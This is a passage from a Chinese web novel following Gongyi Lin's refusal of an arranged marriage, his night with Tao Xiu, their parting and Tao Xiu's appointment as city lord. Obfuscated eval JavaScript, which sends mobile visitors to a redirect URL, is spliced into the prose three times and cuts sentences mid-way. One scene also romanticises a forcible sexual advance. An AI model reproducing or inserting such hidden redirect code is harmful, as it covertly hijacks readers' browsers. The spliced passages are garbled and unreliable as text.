不知这些堂兄平日里是不是除了公务外就只有生孩子一件事,晚一辈的子侄当中,至少有四个孩子是公仪林从未见过的,这还不包括坐在里间女眷那屋的小女孩们。 一一见过礼后,公仪达命公仪林坐到他左手边,这是极利于说话的位置,看来今日不光是简单的族人团聚。 几轮酒后,公仪达正襟危坐,直奔话题,“司子为何没跟你一起来?” “家里来了两位朋友,我让司子留下招待二人了。” “除夕夜居然还有朋友在你家中?”公仪达露出几分不悦,“当初我不愿你搬出去,但你又铁了心,看看冷锅冷灶没个年味找起朋友凑合过了。” “大伯,家中很热闹,来此之前我正要和他们一起放灯。” “你不小了,我也老了。在我辞官归老之前想再尽我所能好好扶持你们一把。”五个儿子恭敬地坐在公仪达面前,垂首静听,“你们能走哪条路、有什么能耐我摸的一清二楚,在我为你们选的路上好好走下去,只有兄弟同心,公仪家才能在这乱世中屹立不倒。” “大伯刚过五旬,为何早早提到归隐之事?” “我是先帝旧臣,年岁渐重身体渐衰,圣上早有怜恤我卸任养老之意,况且,杨弘易、施中安等人结成一党终日挖空心思讨圣上欢心,我们这些老臣呕心沥血为圣上做事,却远不及杨弘易脑瓜里的奇思妙点和呈上去的几首狗屁诗赋更讨圣上欢心。我和左仆射周燃都老了,大陈该在你们年轻人手中变强,丧失的疆土也该你们年轻人夺回来。” 公仪达突然降低方才那番话的高度,扫视五个儿子,沉声道:“公仪家的将来都在你们几人手中,明白吗?” “明白,父亲。” 他把目光落在不吭声的公仪林身上:“去年你拒绝先帝的好意错失与公主缔结婚姻的机会,几乎把我气死。周敬书素来与杨弘易不和,我替你想过,等你和周家姑娘成婚,周敬书自然和你结成一派,在朝中扎下的根就更牢固。我准备四月天暖时就去周家商议你成亲的事,如何?” 周敬书是左仆射周燃之子,身居高职,他性格耿直火暴,与杨弘易是针尖麦芒一样的对头。若是公仪家、周家结亲,两大家族联手,必然使制衡杨弘易的壁垒更坚固。 周家那么多姑娘,不知公仪达要他与之成婚的是哪一个,公仪林发现自己像头拉去配种的畜生。周家的府中必然有一个姑娘注定了要与公仪家的公子成亲,是谁不重要,是美是丑、是善是恶也都无关紧要,成婚者的想法更不重要,只要有这么两个人能结成一对就行。 公仪林在众人都以为他默认的情况下突然开口说话,声音洪亮,掷地有声,所有人都安静地看过来,“大伯,我有喜欢的人,我不会和周家姑娘结亲。” 公仪达开口就问:“她是谁家的女子?” “他没有家世,就是一个寻常百姓。” “我不阻碍你与她交好,但你的妻室必须是周家女子。” “我绝不成亲。” 这么多年,公仪达鲜少听到从晚辈嘴中说出违逆他意愿的话,还这么坚决。 公仪林的叛逆使他震惊,“你是不是觉得,我不是你父亲,没有资格管你的婚姻大事?”这句话有平静的怒意,像湖面下巨大的漩涡,公仪林惊慌失措,低眉垂眼不做挣扎。 “你中意的人是哪家姑娘?” 公仪林也跪坐在公仪达前面,闻言,他的双手放在大腿上紧抓衣裾,骨节被勒的泛白,决定任性一把,要赌一回,豁出去一次,就在他把真话吐到嘴边、对上公仪达威怒的视线时,忽想起眼前这个胡子花白的男人并非寻常老头,他的慈眉善目是骗人的假象,威严狠戾才是他的本性,他曾是沙场上杀人不眨眼的猛士,大局上他果断、凶狠,为家族的长盛不衰能绞尽脑汁动用极端手段。 决不能让他知道陶修的存在。 “我现在不想说。” 坐在周边的族人都“噫”的失望一下,他们竖起长长的耳朵可不想听到搪塞的回答,很想知道让公仪林违逆一族之长决定的女子究竟是什么人。 这时,公仪鸾把他从困境中解救出来,开口道:“父亲,槐序的终身大事,怎么说,二叔也该比您更有话语权,成亲的事不必操之过急,等下次二叔来都城时再议嘛。” 公仪鸾脸色红润,有几分醉意,一把搂过公仪林的肩,贼一样奸诈地笑道:“我有件喜事要告诉你。” “别告诉我你要当爹了。” “嗳,你已经知道了?” 正说着,有个三岁左右的堂侄儿猛冲过来扑向公仪林怀里,娇嫩的喊他二叔,他摸着孩子脑门上两个小发髻,暗暗感叹人人都在忙着生孩子。 公仪林在府中吃过晚宴、在灯火辉煌的院中看完几场皮影戏、听几首曲子后才跟众人散去。 街道上行人稀疏,灯火阑珊,阴冷的寒风割的脸疼,公仪林骑着马踽踽独行,无法将心里的忧愁和压抑排解出去,他偶尔站在一盏盏灯笼前,孩子气似的对着光芒哈出白气,望着白色雾气蜿蜒向上腾空,消散在暗夜里。几滴冰凉的雨滴落在仰起的面颊上,他把眼角的雨水擦到指端,心道:今夜有雪。 从公仪府带出来的一身疲惫必须找个对此负责的人,怀着由此而生的怒气,公仪林决定把在公仪达面前没敢发出的疯施加到陶修身上,那才是罪魁祸首。 他骑马狂奔,迎着冰冷刺骨的雨飞快赶回家中,绒华院还亮着三盏灯,两盏灯在大门两旁,一盏在司子屋中,其余屋里黑魆魆的很安静。 司子一边伺候他洗漱一边讲起他离开后家里的热闹场景,提起陶修在绒花树下舞了一段精彩绝伦的剑招,把冰清玉润看得心旷神怡。 自始至终,公仪林都黑着脸不发一言,把脚盆里的水溅的到处都是,“他舞剑了?” “确实精彩。” “他心情很好啊?” “为什么不好,我还头一次见到陶公子饮酒,和安桂饮了两坛,还输了几吊钱咧。” “他没问我何时能回来?” 司子察觉事情不对劲,胸口发紧,端起盆假装倒洗脚水,躲开了这个问题。 “他真的都不关心我去了哪,不问我何时回来?他都不问?” 司子见公子用出奇的冷静压抑胸腔的大火,有点害怕有点为难,梗着脖子回他:“他很开心不是很好吗?” “呵,开心!!他倒是很开心!” 公仪林进屋时发现门后有根木棍抵着,这根不起眼的木棍不过做了往常一直在做的事情,但此刻在他眼里,无疑是陶修将他拒之门外的最大帮凶。 只听“咔”一声巨响,公仪林嚣张地将门一脚踹开,木棍抵的位置破了大洞,棍子倒在地上骨碌碌滚了几圈,发出令人精神一震的脆响。 陶修警觉地从床上跳起来,后背紧贴墙壁,盯着门外的黑影问:“槐序?” 没等到回答,黑影像条恶狼猛扑过来,双手有预谋地齐袭他的右手,迅速将这只手臂扭向后背,膝盖死死压上他的后背逼其跪在床上。 “你疯了?” “我没疯!” “去趟公仪府就神志不清了?”陶修左臂使不上劲,右臂又被公仪林牢牢扣在后面,欲站起来,但抵在后背的膝盖有万斤重。 “我就是去了公仪府才突然明白一件事,今日得向你讨教个清楚,你我两人之间为何只有我痛苦煎熬,你倒是冷漠清醒独善其身,时时刻刻和我保持距离,做了随时都能抽身离开的准备,凭什么你就能做的这么潇洒,把我当个摆在书案上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221327|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蠢木雕、养在你家树下的笨狸猫,想起时就拿起来望两眼,不需要时我还不如周石、张城他们。” 他是真的很愤怒,越想越气,一股脑的全是质问,也是压抑太久的宣泄,完全不顾被扣压在膝下躬身喘息的陶修的感受,“你真的弄疼我了,你到底要说什么?” 公仪林加重膝下的力道,压的陶修又深喘一口,“我想说,你在周石和张城面前肆无忌惮地开怀大笑,能舞剑给冰清玉润欣赏,和安桂勾肩搭背,对他们你很轻松坦然是不是,我呢,你厌弃我,嫌我碍眼,对我若即若离,永远那副理性、疏离、客气模样,你要谨记,再旺的碳火也不能在冰天雪地里常燃。该做的都做了,你我之间的关系就别想扯断,我要跟你搅和在一起,我难受你也得跟着难受,他们逼迫我,你就必须陪我一起承受这份压力,我才不会心疼你!” 陶修的胸口被下压至膝盖,连呼吸都困难,挣扎欲起时,公仪林扳过他的身子令其面对自己。黑暗里,公仪林只能看见陶修模糊的面孔和那双一定沉静的双眼。 他稳住这颗掌握在手指下的头突然亲了上去,一边嗜咬陶修的唇,以齿进攻他顽强防守的领地,一边撕扯他单薄的里衣。 陶修躲开脸深吸,挣脱一瞬:“公仪林,你最好住手!” “来啊,跟我打!” 两人旗鼓相当、斗志昂扬,从床上跌落到床下,像两只初长成的野豹,在暗夜里无声的对峙和疯狂撕咬,又不得不在对方灼人的气息里手下留情,他们汗湿衣衫,喉头压抑喘息! “陶康乐,从你住进绒华院那天开始我就怀疑你是不是没有人的情/欲,跟你师父参禅诵经当起和尚来了?难道对我一点心思都没有?”要把陶修制服实在困难,公仪林气喘吁吁,但他明显处于上风,狡诈地专挑陶修左臂不能防御的位置下手,他志得意满,兴奋地咬牙切齿,“这两个月我可是忍耐的很辛苦啊,你全然视而不见!!” 他把陶修压在身下,把他两只手固定在头顶无法动弹,得意嚣张:“你现在肯跟我搅在一起对打,就要愿赌服输,我赢了。” “你是趁人之危!” “我管它那么多,能胜你就行,”他们在朦胧的黑暗里静静对视,时间凝滞,寂静无声,唯能听到彼此轰隆的心跳声。“康乐,”气息离的很近,公仪林听着陶修略重的喘息,无法自控,声音颤抖:“对不住了。” 两个月的忍耐和克制确实难熬,今夜绝不会对他客气。 陶修筋疲力尽,彻底放弃挣扎,他摊开双臂,感受地面冰凉的寒意浸透背脊和肺腑,“草木之命的我可以一辈子不成婚没有子嗣,试问二公子,你能吗?” 这句话在黑暗中落下巨响,给了公仪林重重一击。 公仪林侵略的动作遽然停下,屋内陷入寂静,方才像野狼一样狂怒的人僵硬成石头。 身下传来陶修低低的笑声,一声声冰冷的嘲笑:“你问我为何对你不冷不热,不够坦诚,因为我不敢啊,你这富家子弟对男人的新鲜感能持续到何时,恐怕你自己都不确定吧?你之所以彷徨痛苦,患得患失,是因为你从没认真下过决心,也从不敢下决心,你只能寄希望于我,要我顺你的意愿活着,我为你能放弃所有,你敢为我放弃多少,明日我就敢走出房门大声告诉安桂我和你睡了,会和你过一生,可是你敢吗?” 说完这句话陶修有点心虚,他敢放弃的全部怎配和公仪林的比较,但这份感情给他的不安又迫使他不得不狂妄的要与之较量一下。 沉默和寂静拉长延伸了屋内的空间,陶修撑起右臂要坐起来,要从这空旷的黑暗里摸索出口。 公仪林向他递来一只手,紧紧握住,带他走出长长的黑暗,只听一句肯定的回答:“我能,我敢!” 异常坚定的回答轮到陶修愣住了,就像他从不怀疑公仪林的每一个承诺,他说出口的都能做到。 此情此景下,公仪林想到了侄儿公仪佑,那个话都没学会就学着骂他的侄儿。 “现在,我要为这承诺造成的损失拿回一些该得的东西,你无话可说吧?”他轻轻解开陶修的衣衫,触摸身体上的每一处伤疤,柔声问:“这些伤还疼不疼?” 陶修摇头不语。 公仪林今夜的承诺使陶修不得不服输,脆弱的自尊和艰苦生活奖赏给他的孤傲都在顷刻间瓦解。 两人在元旦第一天的黎明前敞开心胸,恣意妄为。 十指相扣,身心相融…… 窗外寒风呼啸,屋内温暖安心,明天是晴天还是阴雨无需去管,将来的路要如何走,还是先过了明天再说。 101.你怎么又病了 新年的第一个清晨,推开门就见厚厚的白雪,天地纯白,万物纯净无暇,清新的空气从打开的门窗扑进屋内,陶修睁开眼望着门外白茫茫一片,低声问:“竟然下雪了?” 公仪林从门边转过身,精神焕发,兴致高昂邀道:“我们去玩雪?” “又不是小孩。” “安桂好像起来了,我现在就去告诉他,昨晚我和你睡过。” 陶修瞪大双眼,急忙从被窝跳出来,鞋子都来不及穿,冲过去一把勒住他的脖子威胁道:“你敢,小心我取你的命?” “昨晚说的理直气壮,这会怯了?除非跟我去玩?” “好,等我穿衣。”松开手后,双腿打个了软,公仪林忙兜一把,意味深长的笑了。 司子从院子里扫出一条曲折的小道通向门外。院外石头铺就的道路上已有行人的脚印和一道车辙,晨光给门前的雪地染上一片金色,满目都是如宝石般耀眼的光芒。公仪林见门外有一大片平整无痕的雪,正要踏步过去,忽见安桂手拿铁锨从他身旁快速走过,嘀咕道:“给你家扫扫门前雪。” 不及阻止,一铲子下去,把预留给陶修玩的地方给毁了,公仪林把安桂扑倒在地,揉了个雪球按他脸上,笑道:“我还没好好欣赏,你就给毁了,把这个吃下去。” 安桂岁数大点,经不起他这么生龙活虎的一折腾,揉着老腰求饶:“小公子唉,我哪知道你要赏雪,跟从南蛮来的没见过雪似的,我帮你复原成刚才模样。”指着公仪林手里的雪球问:“我真要把这个吃掉你能心安吗?” 他蹲下来把刚才滚过的地方轻轻抹平,作个“请”的动作:“公子请作赋一篇。” 陶修见公仪林刁难安桂,还很享受被人哄着的感觉,走过来笑着训他:“没弄碎的雪多的是,屋顶上还一大片呢,为难安大哥做什么?” 他穿着不变的青布衣裳,披了件公仪林的绯红披风,颀长挺拔的身姿立在一片纯白的天地间,笑意盈盈,面庞俊秀气质温和,说不出的晃眼,公仪林半蹲在雪地里仰视着他,发了会呆,趁他不备,突然也将他推倒在安桂费心抹平的地方,不停往他身上撩雪渣:“其实我想留片干净的‘纸张’教你写字,你帮安桂说话。” 两人在纯洁无瑕的天底下滚了几圈。 陶修想起昨晚公仪林那股燃烧不尽的火焰,几乎折腾半宿,终于有了报仇的机会,一把将他的头按进雪里,憋了他片刻才抬起来,说:“玩雪就玩雪,非要动手。真动起手又怕你没面子。”他吩咐安桂:“安大哥,往他身上埋雪啊,愣什么?” 安桂眼放精光,心情格外好,朝手上吐口唾沫化身猛士,几铲子就把公仪林埋了起来。 公仪林大笑不止,昂起头破开积雪,大喊一句:“安桂,你知道昨晚我跟康乐做什么了?我和他——” 下面半截话又一次被陶修摁回雪里。 “你和他怎么了,你昨晚回来后又和他喝酒了?” 陶修往公仪林嘴里塞了一口雪,贴着他耳边求道:“别胡说,别说。” 安桂见两人嬉笑打闹很有孩子气,抱臂看了一阵子,突然来了一句:“打吧闹吧,过几天我们回去可就没机会闹了。” 滚在地上还在互相伤害的两人突然住了手。 这晴朗的天气很干冷,光线刺目,白雪里还夹着尘埃,公仪府着人送来的一箱新年礼没心情打开,处处都看着不顺眼,这过的是什么元旦,哪有新年第一天这样扫兴的? 公仪林坐在地上一下一下掸掉手里的雪,仰头问安桂:“回去这么快做什么?怕我供不起吃的,还是怕打搅我?留下过了上元节再走,秦淮河上的灯火绚烂多彩,不要留遗憾地回去?” “我还要去拜访友人,不能耽搁太久。” “你去拜访老友,陶修就先不走了,他的伤还没好全。” “拜访老友是顺路的事,他的膀子不是交给我负责了嘛,他得跟着我。”蒙在鼓里的安桂每句话都那么不近人情,像是故意要跟他对着干。 “哥哥,你的意思?”公仪林的神色已变得黯然,望向陶修的眼睛就像遭了天大的刺激。 陶修毫不犹豫:“我跟安大哥一起走。” “何时走?” 安桂回答:“初四。” “初六吧,谁都不许再多言,给我时间,替你们二人买两匹好马。” 接下来的几日,公仪林和往常一样每到节气必登门拜访三位师父和一众亲友,脸上云淡风轻,言行自然平和,和陶修、安桂交谈时该笑该骂的一句不落,可内心早就被“初六”折磨的千疮百孔。 一日一日,那轮日头在他的注视下坠的飞快,他心烦意乱、焦虑不安,心和残阳一起碎了一地。唯有夜晚,踏踏实实拥着怀里的人才能暂时压住心底的难舍和悲伤。初五那日,公仪林在这过分焦虑下终于病了,正吃着饭,毫无预兆对司子说:“我要病了,准备熬药吧。” 在几人难以置信地注视下,他的体温迅速灼烧,意识渐渐模糊,整个过程不到一盏茶的时间。好在司子应付裕如,对他的病症简直轻车熟路。 屋内的柜子上点了盏豆大的油灯,火盆的碳火发出轻微的噼剥声,公仪林因发烧双颊显出病态的红晕,裹在被里失神地盯着炽热的碳火,另一侧的陶修对他动不动就病一场的唬人行为哭笑不得,又不能拿病人怎么样,取笑道:“你威胁人的本领真有意思,得亏生在公仪家事事顺心,如果跟我一样的命,恐怕活不过六岁。” “可是威胁不到你。病一场就舒服多了,能把病前的难受都忘记。”他捧着药不肯喝下,茫然地询问对面的人:“我们异地相隔,难道只能如此,你不能为自己寻一条长久的路走一走?我担负右卫的职责,想去看你一趟何其不易,你的心比我所想的还要冷。” “这个话题我不想再提,我们说点其他的。” “其他的?”公仪林嗤嗤冷笑一声,把药碗扔在一旁,闭上眼睛不睬他。 持续的高热使他神志不够清明,也许只是困了,他呓语一般地轻声说:“我知晓你的身世,如果我对你身份的猜测没有错,往后恐怕连见你一面的机会都没有,这么久以来我一直不敢面对此事。山高水远,你找回身世后还能记得自己长在吴郡?还能记得我?我想今年开春后去江陵结束你的遗憾,你的命不该如此,你是天之骄子,没有罪过,本不该体会世事辛酸,不该有此命运。康乐啊,我为此前有过的私心道歉,求你不要忘记玉河村的两个人,我真的不想和你山水相隔……” 他的声音越来越模糊,越来越小,整个人慢慢从被子里滑了下去。 “槐序,你病的厉害!”他的胡言乱语,陶修没有听见。 初六在漫长的煎熬、焦虑中还是来了。小窗外的一角夜空几经变化,由深沉的墨蓝到朦胧发白的天光,公仪林盯着它始终没有阖过眼,院里仆人劈柴生火和他们因寒冷跺脚的声音显得周围空旷寂静,索性从床上坐起来仰头依靠在墙壁上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233534|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在光线暗淡的屋内不知独坐了多久。 陶修也没睡着,睁眼瞪着帐顶直到能看清那人的面容。他轻轻握上公仪林的两指,安抚般的用了点劲,温声道:“来日方长,见面的机会多的是。” “见了面又如何?赏赐乞丐一样给我几次见你面的机会,还要我对你感恩戴德?” “我都要走了,别带性子说话。” 他见时候差不多,开始起床穿衣,公仪林一把抄起被子把头蒙入其中不肯出来,蜷缩成虾米一动不动。 屋外光线昏暗,黎明时的空气清新寒冷,陶修去马厩给两匹新买的马喂料,靠在柱子上发愣地看着马喷出白色粗重的鼻息。那小子动不动就病一场,连跟他好好话别的机会都不给。 身后响起安桂的声音:“公仪公子真不是一般的大方,连马这样的宝贝都能送。”他捧着一壶热水正在漱口,“回到军营,若我不需要这马就卖给铁骑队那伙人,你可别跟景风告状啊。” 两匹马都是年轻的栗色骏马,从颈到尻部线条流畅肌肉结实,鬃毛又长又密,陶修抚摸红棕色的鬃毛笑道:“卖的时候也别让我知道,我舍不得。” 安桂也凑过来倚在柱子上跟他一起鉴马,对两匹马评头论足,突然把话题一转:“前几日还好好的,怎么说病就病了,还有昨日,他冷眉冷眼的对你,你说什么他都呛,得罪他了?” “不用管他,娇生惯养的人,一点小波折就受不了。” “你俩云泥之别的身份还能从小一块长大,情同手足,实在难得,我要是有这么个朋友,巴不得在他家旁边盖个茅屋,缺什么就等着他送来。” “一起长大?我并没有和他一起长大。十一二岁时我见过他一次,后来直到十七岁才又见面,是他坚持认准我们就是从十岁起认识,常把一起长大挂在嘴边,可能觉得好玩吧。”说罢,忽有股无名的暖意充斥胸腔,身为贵公子,但公仪林自小起就对他谦虚顺从,所作所为简单善意,温暖亲切,从来无所求。 “我忘记收拾一件东西,我先回屋了。”陶修匆忙丢下安桂跑了回去。 公仪林还保持他出去时的姿势未变。陶修蹲在床边把冰凉的手伸进被窝,问:“槐序,我要走了,还不出来?” 他的手立即被公仪林拽进怀中焐着,想抽出来又被紧紧按回去。 “给我两年时间,两年后,我的人生任由你安排,你承受的压力我跟你一起扛,你挨打我就跟你一起挨打,受人辱骂我替你挡着。” 公仪林掀开被衾坐起来,不动声色的确定一遍:“两年?” “两年。” “好,你从不食言,我给你两年时间。两年后你若改变主意,休怪我走极端,那时候也顾不得你是不是陶康乐了。” 陶修的承诺陡然将公仪林被病症损耗的精力补回,他利索地穿戴好衣裳,在最后一步系大带时想起一事,几步跑回自己房里,在袖中揣着一样东西又回来了。 公仪林展开双臂把腰和肋处需要系带的位置展露给陶修:“再帮我系一回。” 待陶修帮他系好带子,公仪林才从袖里掏出一条叠的方方正正鲜红柔软的大带,打开后将之绕到陶修腰上,动作轻柔地系上,“我知道你一直带着,像护身符一样。”他凝视陶修的眼睛,缠绵用情,等着他的反应。 陶修这单薄的面皮撑不起被勘破的心思,尴尬无措地认了。 “我有你的承诺,也明白你的心意,足够了。你放心回去吧。” 102.原来他们知道 出发之前,陶修收到以润润为代表送上来的两双鞋子,鞋子底软面厚,针脚细密,没有一点赶工的痕迹,看来四只雀儿早就在准备了。 陶修双手接下鞋子,诚挚地道谢,又问润润:“你多大了?” 润润有双机灵的眼睛,大而晶亮,很像从小跟着陶修在逆境中长大性格大大咧咧的陶舒。 “十六了。” “我妹妹比你大一点,我的鞋都是她做的。” 润润双目含羞,揉绞着衣袖问:“那她做的一定比我们的都好?” “多谢你们。” “公子,溶溶春日再来绒华院时,这里就是满园盎然绿意了。” 他回看站在廊下逗弄阿九装作对他离开已释然的公仪林,答应道:“有机会一定再来拜访。” 他们巳时出发,公仪林送下一程又一程,从北篱门到玄武湖东,又上了钟山大路,直到司子勒马喊停,自作主张喊道:“陶公子,安大爷,再往前走就是钟山密林了。 ” 雪后的大路已有坚硬的路印,丛林的阴影里尚有许多未化的积雪,想马儿在路上跑起来还很难,公仪林走上一座矮山,向西北方负手而立,目送那二人在潮润的路上踽踽而行,最终消失在路尽头。 林中的寒风肃杀,又野又狂,剑一样穿透他的胸口及全身,几乎把他冻成僵硬的木雕。 司子鼓足胆量劝公子早些回去养病,被冷漠无视后,只能裹在披风里小心翼翼哈气搓手等着,等着公子恢复冷热的知觉。 * * * 自陶修回到京口大营,在熟识热闹的集体里,他一下子成了沧澜和威锋幢两处的宠儿。 威锋幢临时组建的那支队伍仅剩下的十八人,重伤者被送回家乡,体健者依旧复归当初选拔的队伍。陶修、张城、周石等人再度成为口口相传的人物,经常有新入营的年轻人扒在门外窃窃私语,指着屋内的人悄声说:就是他们—— 而沧澜和威锋幢开始对两百壮士创下的殊荣展开争夺战,一方说那两百人里有一半来自威锋幢,而另一半也在威锋幢的训练下脱颖而出,另一方则咬定陶修、张城等人的吃喝拉撒、摔打锤炼都在沧澜,他们的无畏勇猛精神传承自沧澜,想夺走这份功劳只会闹出笑话。 后来,陶修一伙人依旧回到原来的沧澜队。 在早春的花开出第一朵、凛冽的风逐渐柔和、深蓝夜空浅金色的月牙格外明亮时,陶修常想起武元义拎着几坛不知从何处得来的劣质酒悄悄跟他们分享的场景。 陶修的伤臂成了别人见面时必问的一句话:“有知觉没?恢复几成?” 安桂一日不落的精心调治,不到暮春时,陶修的左手已活动如常,毫不费力拎起一桶水。 那次战后受孤独感猛烈冲击的张城要娶妻的想法与日俱增,从刚开始的口头念叨到春天适合发情的季节时已开始做出行动,他在营里托人打听谁家妹子未婚嫁的,随时可以介绍他认识,唯一要求便是那姑娘必须温柔,如果长得漂亮那就更锦上添花了。 张城刚送走一位拿妹子画像想来结亲的年轻人后,遗憾地对正在针灸的陶修说:“这是第七个。” “你到底喜欢什么样的姑娘?”陶修好奇道。 “温柔的吧。” 不管是五官还是身量张城都无可挑剔,陶修对他的话嗤之以鼻,笑道:“打着寻觅温柔姑娘的名头到处挑漂亮的,你就骗骗那些不了解你的人。刚才肖像上的姑娘挺俊的,你挑出什么缺点了?” 张城戳戳自个儿眼角:“这里有痣。也许这个位置的痣会令真人多妩媚,故而画像上都没隐藏起来,实际是颗犯桃花的痣,我不喜欢。” “不许对没见过面的姑娘评头论足。你今年多大了,二十四?” “匆匆碌碌转眼已二十四年。自十年前从江北逃难至此,我一次都没回去过,恐怕再回沭阳郡已无一人能认识我了。” 陶修沉吟片刻,慢吞吞说道:“我心中有个姑娘人选,模样周正性格稍活跃可爱,回来时第一次听见你想娶妻生子,我就觉得你们二人挺般配。可惜……” “可惜什么,面都没见就说可惜,是哪里的姑娘?”张城以为他家中还有一个未出嫁的妹子,立即在他身边坐下来,一边帮他细细搓着臂上的针,一边涎着脸问:“是你小妹?这么说,你还有机会做我家的舅老爷?” “胡说。我只有一个妹妹。我之所以说那姑娘可惜,一来她远在都城遥不可及,二来她年纪尚轻。我也怕她跟着像我们这样的人会受苦,毕竟她现在生活的地方安逸又无忧。” “不可能的人你还多这一嘴。” “不能怪我多嘴,离开都城时那姑娘送我的两双鞋子正穿在你脚上。我正面看着她时,莫名觉得她与你很般配。”陶修指着张城脱在旁边的鞋子,笑道:“若没有缘分,你偏偏要把这双鞋抢去穿。” 陶修回来那日,张城从他带回的一些小礼里就挑中了两双鞋,本来两双都要拿走的,安桂硬给陶修夺下一双。 这双鞋的巧合令张城觉得与那姑娘之间的关系妙不可言,不免心驰神荡,嘴角含笑,客气地问道:“究竟是哪家姑娘,你说她年纪轻,到底多大,太小了可不成!” “她名叫绒润,十六岁,公仪林府上的姑娘,我仅知道她是司子在外买回来的,算是命好碰到的是公仪府,和另外三个姑娘在府里做些轻松干净的活。” “年纪的差距倒不是问题,就是太远了,即便我有意却也扛不住山高水远。” 陶修突然皱起眉头忍住臂上传来的疼痛,见张城陷在短暂的遐想里完全不顾指间捏的长针,正狠劲往他肉中戳咧,他弹开张城的手说:“下回说这种事时你还是什么都别做。真有缘分,山南海北也会聚在一处。” “行,下回你见了公仪公子把这事提一下,你看准的人一定不会差到哪里去。” “有机会我帮你提一次。” 张城帮他把银针重新插进肉里,突然发问:“你喜欢什么样姑娘?成家的事你不急?”他紧盯陶修的反应,见陶修眼中掠过一瞬的犹疑且反应呆懵,故而飞快又发问:“你不喜欢女人?” 察觉到他眼中的疑惑变成惊慌后仍不罢休继续问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张城起身往外走,笑说:“杞人忧天做什么,真打了还有卢将军替我们顶着。打就打呗,死了就干干净净一了百了,当今世道,谁不是活一天算一天。”走到门外正午的艳阳下又伸了个懒腰,转头问陶修:“我无牵无挂,你呢?” 陶修也略弯腰从庵庐低矮的门内走出来,眯起眼睛直视耀目的日头,和煦轻柔的春风拂动鬓角碎发,脸上露出满足平静的笑容,来回握拳刚针灸过的左手说:“天气这么好,说这么扫兴的话做什么,走,吃饭去?” * 这朗朗的暮春时分,一个晴朗的午后,天蓝云白,鸟鸣清脆,陶修和一帮汉子在田里忙碌过后,回到住处正端盆去井边洗衣裳,京城的使者带来一个安桂愤愤不平已久的好消息。 沧澜队里的两个同袍兴高采烈跑来找陶修,夺下他手里的盆丢到地上,大笑道:“这些粗活,往后你再也不用做了,陶兄弟,恭喜高升。” 他们连拖带拽把他架到海定楼,卢思苌、段泽和衣着华丽脸上却疲惫不堪的使者已在堂中等候多时。 陶修行礼之后,使者才昂首阔步神情肃然从座上走出来站到中堂,宣读从都城带来的圣上的手谕。 103.漳南城主陶修 漳南城自彭枝礼死后就成了无主之城,一直由胡墅县城主葛伏代为管理。 当陶修听到朝廷任命他为漳南城主兼县尹时,很长时间脑子里都是空茫一片,不知身处何处。使者连喊他两声:“陶城主,陶城主?” 陶修回过神立即跪伏在地,身上瑟瑟发抖:“陶修命贱,出身汝丘一个军户,不知何故竟蒙圣上垂恩让我做这漳南城主,其中是不是有哪里弄错了,望使者再确认一遍,陶修惶恐不安。” 使者扶起他,眉慈眼笑地问:“如果你是汝丘的陶修就没有错,难道你怀疑圣上再三确认过的这份手谕?踏实的领命吧。你御敌之时几番立下功劳,骁勇善战冲锋在前,圣上还嫌任用的晚咧。” 陶修转向卢思苌询问,不知是不是将军将自己的事上报朝廷。 卢思苌点头向他表示恭贺。 “圣上怎会知道我这样的微末之人?” “上回夜袭漳南,公仪右卫见识到陶城主的英勇无畏,故而竭力在圣上面前为您请功。我这里还有一封公仪右卫给你的信。”使者从袖里掏出信递给陶修,又带他把圣上的赏赐之物一一过目。 陶修扫过箱笼里精美的衣饰、帽冠、公服,一种身份错乱的恍惚感萦上心头,深感自己配不上这个位置。 卢思苌命人带使者下去休息,使者拍打两条发软疲惫的腿嘀咕道:“公仪右卫一个劲催我上路,阎王爷也没他催的紧,我确实要歇会。” 使者走后,卢思苌让陶修落座,段泽扶剑立在前者身后。 “今日起,你便不再是我江矶营的人了。我原打算下次用人之际好好重用你和张城二人,哪知朝廷的决定比我快了一步。” “只要将军有用得着我的地方,陶修赴汤蹈火在所不辞。” 卢思苌盯着陶修,懊悔之前未将他收为心腹,许多计划不能跟他提及,而漳南城又是他计划中极其重要一环,想了半天才叮嘱道:“漳南位置的重要无需我跟你重提,你到任之后,爱民恤物外,首要任务就是盯紧寿阳的一举一动。你我都是大陈的子民,需要你协助时,我们固然都要同心协力。” 陶修恭顺谦卑,虚心静听,也将心里的忧虑坦然告知:“陶修自幼家贫,目不识丁也无谋略,城主一职我实在不能胜任。我还想留在将军手下效力,请将军替我再向朝廷言明原委。” 卢将军安抚道:“忧国忧民的不一定都是饱读诗书的人。你到漳南后,县署自然有一班能文能武的官员为你调遣。你正当年华,只要不忘本心,勤政爱民,不足之处还有大把时间去补足,放心去吧。” 段泽也开口道:“沧澜队相处两年我深知你为人,你心胸宽厚,一定能做好这个城主之位。沧澜队的同袍中你可挑选几名熟悉的朋友一同带去漳南,帮你在那里站稳脚后,要留要回任他们自己选择。” 陶修感激不已,仍以低位的姿态对他行礼表示感谢。 